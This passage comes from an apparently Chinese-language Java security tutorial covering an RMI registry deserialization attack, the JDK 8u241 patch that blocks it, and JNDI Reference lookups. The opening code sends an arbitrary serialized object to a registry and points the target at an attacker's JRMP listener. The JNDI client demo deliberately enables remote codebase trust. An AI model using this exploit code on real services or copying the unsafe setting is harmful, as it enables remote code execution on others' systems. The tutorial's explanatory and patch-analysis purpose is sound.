RemoteCall call = ref.newCall((RemoteObject) registry, operations, 2, interfaceHash);
try {
try {
// ★ 核心:拿到出站的 ObjectOutput(实际是 sun.rmi.server.MarshalOutputStream)
ObjectOutput out = call.getOutputStream();

// 关键步:关闭流级替换(enableReplace=false),否则 Remote 实例会被替换成 stub
// 字段 enableReplace 是 ObjectOutputStream 的私有字段,这里通过反射写入
setFieldValue(out, "enableReplace", false);

// 将“任意对象”写到 lookup 的参数位置(服务端会先反序列化它)
out.writeObject(obj);
} catch (java.io.IOException e) {
// 参数编组失败 → MarshalException
throw new java.rmi.MarshalException("error marshalling arguments", e);
}

// 触发远程调用。注意:副作用发生在“服务器端反序列化”阶段,
// 随后才会因为类型不匹配(期望 String)抛异常。
ref.invoke(call);
return null;

} catch (RuntimeException | RemoteException | NotBoundException e) {
// 预期异常(类型不匹配 / 未绑定等)。此时副作用已发生,可按需吞掉
if (e instanceof RemoteException || e instanceof ClassCastException) {
return null;
} else {
throw e;
}
} catch (Exception e) {
// 兜底:未声明的受检异常
throw new java.rmi.UnexpectedException("undeclared checked exception", e);
} finally {
// 结束调用(释放底层资源/连接)
ref.done(call);
}
}

/**
* 构造一个 UnicastRemoteObject 实例,并将其 ssf(服务器 Socket 工厂)设为“远端代理”。
* 反序列化后,UnicastRemoteObject.readObject() 会调用 reexport(),
* 进而 TCPTransport.listen() → TCPEndpoint.newServerSocket() → ssf.createServerSocket(...),
* 由于 ssf 是“远端动态代理”,createServerSocket 的调用会被转发为 JRMP 远程调用,
* 指向我们构造的 UnicastRef(LiveRef → TCPEndpoint(ip, port))。
*/
static Object buildUnicastRemoteObject(String ip, int port) throws Exception {
// 随机生成一个 ObjID(远程对象标识)
ObjID id = new ObjID(new Random().nextInt());

// 构造一个到“恶意 JRMP 服务”的 TCP 端点
TCPEndpoint te = new TCPEndpoint(ip, port);

// 组装 UnicastRef(持有 LiveRef:包含 ObjID + TCPEndpoint)
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

// 使用 RemoteObjectInvocationHandler 包裹 UnicastRef
// 该 handler 会把接口方法调用(如 createServerSocket)转发为 JRMP 调用
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(ref);

// 通过 JDK 动态代理生成一个同时实现 RMIServerSocketFactory + Remote 的代理对象
// 注意:必须包含 Remote 接口,否则 RemoteObjectInvocationHandler.invoke() 会抛异常
RMIServerSocketFactory rmiServerSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
RMIServerSocketFactory.class.getClassLoader(),
new Class[]{ RMIServerSocketFactory.class, Remote.class },
remoteObjectInvocationHandler);

// 通过反射构造 UnicastRemoteObject 实例(不走构造逻辑序列化钩子)
// getDeclaredConstructor(null) 等价于无参构造器;设置 accessible 以允许调用
Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor((Class<?>[]) null);
constructor.setAccessible(true);
UnicastRemoteObject remoteObject = (UnicastRemoteObject) constructor.newInstance((Object[]) null);

// 将反序列化时会使用的“服务器端 socket 工厂(ssf)”字段替换为我们构造的代理
// 这样在 reexport() → exportObject(..., csf, ssf) 时,会调用 ssf.createServerSocket(...)
Field ssfField = UnicastRemoteObject.class.getDeclaredField("ssf");
ssfField.setAccessible(true);
ssfField.set(remoteObject, rmiServerSocketFactory);

return remoteObject;
}

/**
* 在类层次中查找字段(包含父类),并设置 accessible。
*/
public static Field getDeclaredField(Class<?> clazz, String fieldName) {
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass(); // 继续在父类里找
}
}
return null; // 未找到
}

/**
* 读取对象的私有字段值(向上查找)。
*/
public static Object getFieldValue(Object object, String fieldName) throws Exception {
return getDeclaredField(object.getClass(), fieldName).get(object);
}

/**
* 写入对象的私有字段值(向上查找)。
*/
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
getDeclaredField(object.getClass(), fieldName).set(object, value);
}

/**
* 统一把 Object 转为 long(可能本身是 Long 或字符串)。
*/
private static long toLong(Object v) {
if (v instanceof Long) return (Long) v;
return Long.parseLong(String.valueOf(v));
}
}

注册中心反序列化触发的调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
at java.net.URLStreamHandler.getHostAddress(URLStreamHandler.java:439)
at java.net.URLStreamHandler.hashCode(URLStreamHandler.java:361)
at java.net.URL.hashCode(URL.java:957)
at java.util.HashMap.hash(HashMap.java:339)
at java.util.HashMap.readObject(HashMap.java:1462)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:564)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1160)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2207)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2078)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1585)
at java.io.ObjectInputStream.access$300(ObjectInputStream.java:222)
at java.io.ObjectInputStream$GetFieldImpl.readFields(ObjectInputStream.java:2525)
at java.io.ObjectInputStream.readFields(ObjectInputStream.java:602)
at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:71)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:564)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1160)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2207)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2078)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1585)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422)
at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:252)
at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:161)
at java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod(RemoteObjectInvocationHandler.java:209)
at java.rmi.server.RemoteObjectInvocationHandler.invoke(RemoteObjectInvocationHandler.java:161)
at com.sun.proxy.$Proxy0.createServerSocket(Unknown Source:-1)
at sun.rmi.transport.tcp.TCPEndpoint.newServerSocket(TCPEndpoint.java:666)
at sun.rmi.transport.tcp.TCPTransport.listen(TCPTransport.java:329)
at sun.rmi.transport.tcp.TCPTransport.exportObject(TCPTransport.java:248)
at sun.rmi.transport.tcp.TCPEndpoint.exportObject(TCPEndpoint.java:411)
at sun.rmi.transport.LiveRef.exportObject(LiveRef.java:147)
at sun.rmi.server.UnicastServerRef.exportObject(UnicastServerRef.java:233)
at java.rmi.server.UnicastRemoteObject.exportObject(UnicastRemoteObject.java:470)
at java.rmi.server.UnicastRemoteObject.exportObject(UnicastRemoteObject.java:381)
at java.rmi.server.UnicastRemoteObject.reexport(UnicastRemoteObject.java:303)
at java.rmi.server.UnicastRemoteObject.readObject(UnicastRemoteObject.java:270)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:564)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1160)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2207)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2078)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1585)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422)
at sun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:109)
at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:467)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:297)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(AccessController.java:-1)
at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:567)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:800)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:682)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$36.532782046.run(Unknown Source:-1)
at java.security.AccessController.doPrivileged(AccessController.java:-1)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:681)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1167)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641)
at java.lang.Thread.run(Thread.java:844)

在 JDK8u241 中,这个反序列化利用链被修复。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* 处理真正的远程方法调用。
*/
private Object invokeRemoteMethod(Object proxy,
Method method,
Object[] args)
throws Exception
{
try {
// 1) 基本校验:代理对象必须实现 Remote(否则不是RMI语义)
if (!(proxy instanceof Remote)) {
throw new IllegalArgumentException("proxy not Remote instance");
}

// 2) 【补丁关键点】方法必须声明于“继承了 Remote 的接口”上
// ——仅允许远程接口的方法被远程调用
Class<?> decl = method.getDeclaringClass();
if (!Remote.class.isAssignableFrom(decl)) {
// 直接拒绝,把问题暴露为 RemoteException
throw new RemoteException("Method is not Remote: " + decl + "::" + method);
}

// 3) 发起远程调用(交给 RemoteRef / UnicastRef 进行编组、网络IO、解组)
return ref.invoke((Remote) proxy, method, args, getMethodHash(method));

} catch (Exception e) {
// [...]
}
}

在之前的反序列化利用链中,UnicastRemoteObject.readObject()reexport()TCPTransport.listen()TCPEndpoint.newServerSocket(),最终会调用:

1
ssf.createServerSocket(port)

我们把 ssf 替换成了动态代理(实现了 RMIServerSocketFactory Remote),从而让 RemoteObjectInvocationHandler 把这次调用转成 JRMP 远程调用(到恶意 JRMPListener)。

但是createServerSocket 这个方法是声明在 RMIServerSocketFactory 上的,而 RMIServerSocketFactory 并不继承 Remote

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/**
* 一个 {@code RMIServerSocketFactory} 实例由 RMI 运行时使用,
* 用于为 RMI 调用创建服务端套接字(ServerSocket)。
* 当远程对象通过 {@code java.rmi.server.UnicastRemoteObject}
* 或 {@code java.rmi.activation.Activatable} 的构造器/ {@code exportObject} 方法
* 被创建/导出时,可以为其关联一个 {@code RMIServerSocketFactory}。
*
* <p>与某个远程对象关联的 {@code RMIServerSocketFactory} 用于创建
* 用来接收客户端入站调用的 {@code ServerSocket}。</p>
*
* <p>还可以为远程对象注册表(RMI Registry)关联一个
* {@code RMIServerSocketFactory},这样客户端就能以自定义的
* 套接字通信方式访问注册表。</p>
*
* <p>该接口的实现类应当重写 {@link Object#equals}:
* 当传入的实例在功能上等价(表示相同/等效的服务器套接字工厂配置)时返回 {@code true},
* 否则返回 {@code false};并保证 {@link Object#hashCode} 与
* {@code equals} 的实现一致。</p>
*
* @author Ann Wollrath
* @author Peter Jones
* @since 1.2
* @see java.rmi.server.UnicastRemoteObject
* @see java.rmi.activation.Activatable
* @see java.rmi.registry.LocateRegistry
*/
public interface RMIServerSocketFactory {

/**
* 在指定端口上创建一个服务端套接字(端口 0 表示使用匿名端口,由操作系统自动分配)。
*
* @param port 端口号
* @return 在指定端口上创建的 {@code ServerSocket}
* @throws IOException 如果在创建 {@code ServerSocket} 的过程中发生 I/O 错误
* @since 1.2
*/
ServerSocket createServerSocket(int port) throws IOException;
}

补丁把“多接口动态代理”这条绕路堵上了——只能远调“真正的远程接口方法”,不能借“顺手实现 Remote”来把非远程接口的方法(比如 RMIServerSocketFactory#createServerSocket)也塞进 JRMP 去执行/回包反序列化。

JNDI(Java Naming and Directory Interface)

基本概念

什么是 JNDI?

JNDI(Java Naming and Directory Interface) 是 Java 标准库提供的统一 API,用于访问各种命名/目录服务

通俗讲:JNDI 就是“按名字找资源”的统一入口。常见场景包括:

  • 在应用服务器中按名查找 DataSource(再用 JDBC 访问数据库)
  • 访问 LDAP 目录服务(查询/搜索带属性的条目)
  • 连接 RMI Registry 查找远程对象
  • 通过 DNS 查询记录(如 MX/TXT)

都可以通过 JNDI 实现统一的访问方式。

JNDI

JNDI 的体系架构

JNDI 的架构类似 JDBC,分为 API 层SPI(服务提供者接口)层

应用编程接口(API)

开发者使用的统一接口,分布在 javax.naming.*javax.naming.directory.* 等包中:

  • Context :命名操作(lookupbindrebindunbindlist 等)。
  • DirContext :目录扩展(在命名之上支持属性搜索)。
  • InitialContext :通用入口上下文(基于环境参数定位到具体 Provider)。
  • InitialDirContext :用于目录服务的入口类,实现 DirContext(并继承 InitialContext),便于直接进行目录操作。

关联概念

  • Naming Service(命名服务) :名称 → 对象/引用 的映射系统(如文件系统、DNS、RMI Registry、COSNaming)。
  • Binding(绑定) :一次具体的“名称 ↔ 对象/引用”映射。
  • Context(上下文) :一组绑定的容器,支持层级(子上下文)。
  • Reference(引用) :JNDI 的结构化引用对象,可由 ObjectFactory 还原为真正实例。

服务提供者接口(SPI)

SPI 让不同协议/产品以可插拔 Provider 接入 JNDI,屏蔽实现差异。常见 Provider(Provider 类属于实现层,通常在 com.sun.jndi.*):

  • LDAP(目录):com.sun.jndi.ldap.LdapCtxFactoryldap:///ldaps://
  • RMI Registry(命名):com.sun.jndi.rmi.registry.RegistryContextFactoryrmi://
  • DNS(命名):com.sun.jndi.dns.DnsContextFactorydns://
  • CORBA COSNaming(命名):com.sun.jndi.cosnaming.CNCtxFactoryiiop://
  • 应用服务器命名空间(命名):java:comp/envjava:modulejava:appjava:global(容器受控资源)

基本用法

远程对象查找

InitialContext 是 JNDI 的入口类(javax.naming.InitialContext),实现了 Context 接口。拿到它之后,就可以对命名/目录执行 lookupbind 等操作。

它会根据传入的环境参数,或名称本身的 URL 前缀(如 ldap://rmi://dns://),选择合适的 Provider。

构造方法有:

  • InitialContext():按默认环境创建入口(在应用服务器中通常指向 java:comp/env 等受控命名空间)。
  • InitialContext(Hashtable<?,?> env):显式提供 Provider、地址、认证方式等环境参数。
  • InitialContext(boolean lazy)受保护构造器,用于子类延迟初始化;业务代码一般不会直接用。

常用操作(继承自 Context 接口):

  • lookup(String name):按名查对象(最常用)。
  • bind(String name, Object obj):首次绑定。
  • rebind(String name, Object obj):覆盖已有绑定。
  • unbind(String name):删除绑定。
  • list(String name) / listBindings(String name):列出某上下文内的名称/绑定详情。

例如服务端在 RMI 注册中心注册了一个远程对象:

1
2
3
4
5
6
7
// ① 导出并注册(服务端)
import java.rmi.registry.*;
import java.rmi.server.UnicastRemoteObject;

MyRemote impl = new MyRemoteImpl(); // MyRemote 继承 java.rmi.Remote
MyRemote stub = (MyRemote) UnicastRemoteObject.exportObject(impl, 0); // 导出为远程对象
LocateRegistry.createRegistry(1099).rebind("myService", stub); // 绑定到 RMI Registry

那么我们可以通过 InitialContext 的统一接口 lookup 来查找远程对象并调用,而 JNDI 会通过 URL 中的协议名称调用 RMI 来查找获取远程类。

1
2
3
4
5
6
7
// ② 通过 JNDI 统一接口查找(客户端)
import javax.naming.Context;
import javax.naming.InitialContext;

Context ctx = new InitialContext();
MyRemote remote = (MyRemote) ctx.lookup("rmi://localhost:1099/myService");
remote.doSomething();

References 机制

javax.naming.Reference 表示一种“对象引用”,也就是告诉 JNDI 系统:“这个条目代表的对象不是现在直接提供的,而是你可以根据这些信息动态构造出来的。”

Reference 用于在 JNDI 注册中心中保存“不是立即反序列化,而是等待用工厂类还原”的对象引用。常用于延迟加载远程查找过程中,指向某个类的构建方式。

Reference 提供了多个构造函数重载,用到参数有:

  • className:希望最终还原成的目标类型(FQCN)。

  • factory:用于把 Reference 变成对象的 ObjectFactory 实现类(FQCN)。

  • factoryLocation:工厂类所在位置(URL 等),现代 JDK 默认禁止从远程 codebase 加载。

  • RefAddr:传给工厂的键值参数;可用 StringRefAddrBinaryRefAddr

    • new StringRefAddr("key", "value"):字符串参数最常见。
    • new BinaryRefAddr("key", byte[]):二进制参数。

Reference构造函数有:

  • Reference(String className):仅指定目标类名。常与后续 add() 补充地址项配合使用。

  • Reference(String className, RefAddr addr):目标类名 + 一个地址项RefAddr),常见为 new StringRefAddr("k","v")

  • Reference(String className, String factory, String factoryLocation):目标类名 + 工厂类(需实现 ObjectFactory)+ 工厂位置(通常是 URL;现代 JDK 默认不信任远程 codebase)。

  • Reference(String className, RefAddr addr, String factory, String factoryLocation):目标类名 + 一个地址项 + 工厂类/位置。

Reference常用方法有:

  • void add(RefAddr addr) / void add(int posn, RefAddr addr):追加/按索引插入地址项(保持顺序很重要)。
  • RefAddr get(int posn):按索引取地址。
  • RefAddr get(String addrType):按 地址类型RefAddr.getType())取第一个匹配
  • Enumeration<RefAddr> getAll():遍历全部地址项。
  • int size():地址项数量。
  • Object remove(int posn):删除并返回索引处的地址(历史原因返回 Object,实际为 RefAddr)。
  • void clear():清空地址项。
  • String getClassName() / getFactoryClassName() / getFactoryClassLocation():分别取目标类名、工厂类名与位置。
  • String toString():调试用字符串。

下面以一个例子说明 JNDI References 机制。


服务端Reference(含参数)注册到 RMI Registry;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 文件:Server.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.BinaryRefAddr;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;

public class Server {
public static void main(String[] args) throws Exception {
Reference ref = new Reference(
"java.lang.Object", // 目标类型名:只是个标识,这里随便给个安全的
"EchoFactory", // 工厂类(客户端 classpath 中应能加载到)
"http://localhost:8000/" // 不使用远程 URL(现代 JDK 默认也不信任)
);

// 追加两个地址项(保持顺序)
ref.add(new StringRefAddr("greeting", "hello-jndi"));
ref.add(new BinaryRefAddr("nonce", new byte[]{1, 2, 3, 4}));

// 用 ReferenceWrapper 包装后绑定到 RMI 注册中心
ReferenceWrapper wrapped = new ReferenceWrapper(ref);
LocateRegistry.createRegistry(1099).rebind("hello", wrapped);

System.out.println("RMI registry bound at rmi://localhost:1099/hello");
Thread.sleep(Long.MAX_VALUE); // 挂起方便测试
}
}

首先是构造 Reference 对象,其中涉及到的参数有:

1
2
3
4
5
Reference ref = new Reference(
"java.lang.Object", // 目标类名(标识符,实际不重要)
"EchoFactory", // 工厂类(必须实现 ObjectFactory)
"http://localhost:8000/" // 工厂类所在位置(URL)
);
  • className = “java.lang.Object”
    这个只是个占位符,告诉 JNDI “我想要一个对象”。在这里不严格要求必须真能构造 Object 类型,关键看工厂类。

  • factory = “EchoFactory”
    这是关键:告诉 JNDI 要调用哪个 ObjectFactory 实现类的 getObjectInstance() 方法。

    • 如果客户端 classpath 上有 EchoFactory 类,就会直接加载并调用。
    • 如果本地没有,但 factoryLocation 提供了 URL,JNDI 会尝试通过 HTTP 下载该类(⚠️现代 JDK 默认禁止远程 codebase)。
  • factoryLocation = “http://localhost:8000/
    这是工厂类的位置(Codebase)。

    • 在老版本 JDK,会真的去这个 URL 下载字节码,然后加载执行。
    • 在新版本(JDK 8u191+),trustURLCodebase 默认是 false,所以这里不会去下载。

    注意

    • classFactoryLocation 提供 classes 数据的地址可以是 file/ftp/http 等协议。
    • URL 必须以 / 结尾,这是由 URLClassLoader 所觉得的。
      • / 结尾 → 被当作目录代码库(directory codebase),加载类时会直接请求:GET /EchoFactory.class
      • 不以 / 结尾 → 被当作JAR 文件代码库(jar codebase),先去请求“基 URL”本身:GET /,尝试把它当 JAR 读头部(看是不是 ZIP/JAR 的 PK.. 魔数)。不是 JAR 就不会继续拼 EchoFactory.class,所以你只看到 GET /

工厂类在创建对象的时候可能还需要一些参数,因为我们可能还要添加 RefAddr 参数。

1
2
ref.add(new StringRefAddr("greeting", "hello-jndi"));
ref.add(new BinaryRefAddr("nonce", new byte[]{1, 2, 3, 4}));
  • StringRefAddr("greeting", "hello-jndi"):工厂类可以通过 ref.get("greeting") 获取 "hello-jndi"
  • BinaryRefAddr("nonce", new byte[]{1,2,3,4}):工厂类可以通过 ref.get("nonce") 拿到字节数组。

最后我们需要将 Reference 注册到 RMI Registry 中。

1
2
ReferenceWrapper wrapped = new ReferenceWrapper(ref);
LocateRegistry.createRegistry(1099).rebind("hello", wrapped);
  • ReferenceWrapper :把 Reference 包装成 RMI 可导出的对象(因为 RMI Registry 只能存 Remote 对象)。
  • rebind("hello", wrapped):把这个引用对象挂在 RMI 注册中心的 hello 名字下。

这样,别的客户端就能通过 rmi://localhost:1099/hello 取到这个 Reference


客户端通过 InitialContextlookup 方法查找 Reference 对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 文件:Client.java

import javax.naming.Context;
import javax.naming.InitialContext;

public class Client {
public static void main(String[] args) throws Exception {
// 显式启用远程 codebase 信任
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase", "true");

Context ctx = new InitialContext();
Object obj = ctx.lookup("rmi://localhost:1099/hello");
System.out.println("lookup result = " + obj);
}
}

JDK 8u121 之后com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 这两个系统属性的默认值改成了 false,所以 JNDI 不会去远程 URL 下载类。

为了展示远程加载类的效果,我们需要手动开启这两个选项。

1
2
3
// 显式启用远程 codebase 信任
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase", "true");

之后通过 InitialContextlookup 方法查找 Reference 对象。

1
2
Context ctx = new InitialContext();
Object obj = ctx.lookup("rmi://localhost:1099/hello");
  • ctx.lookup("rmi://...") → 访问 RMI Registry → 拿到服务端注册的 Reference 对象。
  • JNDI 识别这是个 Reference,于是调用 NamingManager.getObjectInstance(ref, ...)
  • 发现 ref.getFactoryClassName() = "EchoFactory" → 去加载并实例化工厂类。

在 JNDI 里,javax.naming.spi.ObjectFactory 是一个 接口。它的作用是根据一个 Reference 或者其他描述信息,构造出真正的 Java 对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
/**
* 该接口表示“用于创建对象的工厂”。
* <p>
* JNDI 框架允许通过 <em>对象工厂(object factories)</em> 动态加载对象实现。
* 例如:在命名空间中查找一台打印机时,如果打印服务把打印机名称绑定为 Reference,
* 则可以用这个 Reference 来创建一个打印机对象,这样 lookup 的调用者在查找完成后
* 就能直接对该打印机对象进行操作。
* <p>
* 一个 <tt>ObjectFactory</tt> 负责创建某一特定类型的对象。
* 在上面的例子中,你可能会有一个 PrinterObjectFactory 来创建 Printer 对象。
* <p>
* 对象工厂必须实现 <tt>ObjectFactory</tt> 接口。此外,该工厂类必须是 public,
* 并且必须具有一个 public 的无参构造函数。
* <p>
* 对象工厂的 <tt>getObjectInstance()</tt> 方法可能会被多次调用,且每次的参数可能不同。
* 其实现应当是线程安全的。
* <p>
* 本类文档中提到的 URL,指的是 RFC 1738 及相关 RFC 所定义的 URL 字符串。
* 它只要符合该语法即可,并不保证一定能被 java.net.URL 类或 Web 浏览器所支持。
*
* @author Rosanna Lee
* @author Scott Seligman
*
* @see NamingManager#getObjectInstance
* @see NamingManager#getURLContext
* @see ObjectFactoryBuilder
* @see StateFactory
* @since 1.3
*/
public interface ObjectFactory {

/**
* 使用给定的位置或引用信息创建一个对象。
* <p>
* 该对象的特殊需求可通过 <code>environment</code> 传入。
* 例如用户身份信息就是一种环境属性。
* <p>
* <tt>NamingManager.getObjectInstance()</tt> 将依次加载对象工厂并调用本方法,
* 直到某个工厂返回非 null 的结果为止。
* 当某个对象工厂抛出异常时,该异常会被传递给
* <tt>NamingManager.getObjectInstance()</tt> 的调用者
* (且不会继续查找其他可能返回非 null 的工厂)。
* 对象工厂只有在确信自己就是唯一被期望使用的工厂,且不应再尝试其他工厂时,
* 才应当抛出异常。若本工厂无法基于所给参数创建对象,则应返回 null。
* <p>
* <em>URL 上下文工厂(URL context factory)</em> 是一种特殊的 ObjectFactory,
* 用于创建用于解析 URL 的上下文,或创建由 URL 指定位置的对象。
* URL 上下文工厂的 <tt>getObjectInstance()</tt> 必须遵循以下规则:
* <ol>
* <li>如果 <code>obj</code> 为 null,则创建一个用于解析与该工厂关联的
* scheme 的上下文。生成的上下文不绑定到某个具体 URL:
* 它能够处理任意该工厂 scheme 的 URL。
* 例如:对 LDAP URL 上下文工厂以 <code>obj</code> 为 null 调用
* <tt>getObjectInstance()</tt>,应返回一个可解析 LDAP URL 的上下文,
* 如 "ldap://ldap.wiz.com/o=wiz,c=us" 和
* "ldap://ldap.umich.edu/o=umich,c=us"。</li>
* <li>如果 <code>obj</code> 是一个 URL 字符串,则创建由该 URL 标识的对象
* (通常为一个上下文)。例如:若这是一个 LDAP URL 上下文工厂,
* 而 <code>obj</code> 为 "ldap://ldap.wiz.com/o=wiz,c=us",
* 则 <tt>getObjectInstance()</tt> 应返回位于 LDAP 服务器
* ldap.wiz.com 上、以可分辨名 "o=wiz, c=us" 命名的上下文。
* 随后可用该上下文来解析相对该上下文的 LDAP 名称(如 "cn=George")。</li>
* <li>如果 <code>obj</code> 是一个 URL 字符串数组,假定这些 URL
* 在它们所指向的上下文方面是等价的。是否需要以及如何验证等价性,
* 由上下文工厂自行决定。数组中 URL 的顺序并不重要。
* <tt>getObjectInstance()</tt> 返回的对象与“单个 URL 情况”类似:
* 即由这些 URL 命名的那个对象。</li>
* <li>如果 <code>obj</code> 是其他类型,那么
* <tt>getObjectInstance()</tt> 的行为由该上下文工厂的实现决定。</li>
* </ol>
*
* <p>
* <tt>name</tt> 与 <tt>environment</tt> 参数的所有权属于调用方。
* 实现不得修改这些对象或长期持有它们的引用,但可以保存其副本或克隆。
*
* <p>
* <b>Name 与 Context 参数。</b>&nbsp;&nbsp;&nbsp;
* <a name="NAMECTX"></a>
* <br>
* 可以选择性地使用 <code>name</code> 与 <code>nameCtx</code>
* 来指定所创建对象的名称。
* <code>name</code> 是相对于 <code>nameCtx</code> 的名称。
* 如果对象可能从多个上下文被命名(这很常见),由调用方选择其中之一。
* 一个经验法则是选择可用的“最深层”上下文。
* 如果 <code>nameCtx</code> 为 null,则 <code>name</code> 相对于默认初始上下文。
* 如果不指定名称,则 <code>name</code> 应为 null。
* 如果工厂需要使用 <code>nameCtx</code>,应在并发访问时对其使用进行同步,
* 因为上下文实现不保证线程安全。
*
* @param obj 可能为 null;包含可用于创建对象的位置或引用信息
* (例如 {@link javax.naming.Reference})。
* @param name 该对象相对于 <code>nameCtx</code> 的名称;如未指定则为 null。
* @param nameCtx <code>name</code> 所相对的上下文;若 <code>name</code>
* 相对于默认初始上下文,则为 null。
* @param environment 可能为 null;用于创建对象的环境属性集合。
* @return 创建的对象;若无法创建则返回 null。
* @throws Exception 当本对象工厂在尝试创建对象时遇到异常,且不应再尝试其他工厂时抛出。
*
* @see NamingManager#getObjectInstance
* @see NamingManager#getURLContext
*/
Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?, ?> environment) throws Exception;
}

该接口之后一个方法 getObjectInstance,这个方法的作用是根据给定的位置或引用信息创建一个对象。

这里我们使用的 EchoFactoryObjectFactory 接口的实现类,其中的 getObjectInstance 方法会根据我们传入的参数拼接一个字符串返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 文件:EchoFactory.java

import javax.naming.*;
import javax.naming.spi.ObjectFactory;
import java.util.Arrays;
import java.util.Hashtable;

public class EchoFactory implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> env) throws Exception {
if (!(obj instanceof Reference)) return null;
Reference ref = (Reference) obj;

// 读取字符串参数:StringRefAddr("greeting", "hello-ctf")
String greeting = null;
RefAddr g = ref.get("greeting"); // 按“类型名”取
if (g instanceof StringRefAddr) {
greeting = (String) g.getContent(); // -> "hello-ctf"
}

// 读取二进制参数:BinaryRefAddr("nonce", new byte[]{1,2,3,4})
byte[] nonce = null;
RefAddr n = ref.get("nonce");
if (n != null && n.getContent() instanceof byte[]) {
nonce = (byte[]) n.getContent(); // -> [1,2,3,4]
}

// 返回“最终对象”(演示用,真实场景可返回任意类型)
return String.format("EchoFactory -> greeting=%s, nonce=%s",
greeting, Arrays.toString(nonce));
}
}

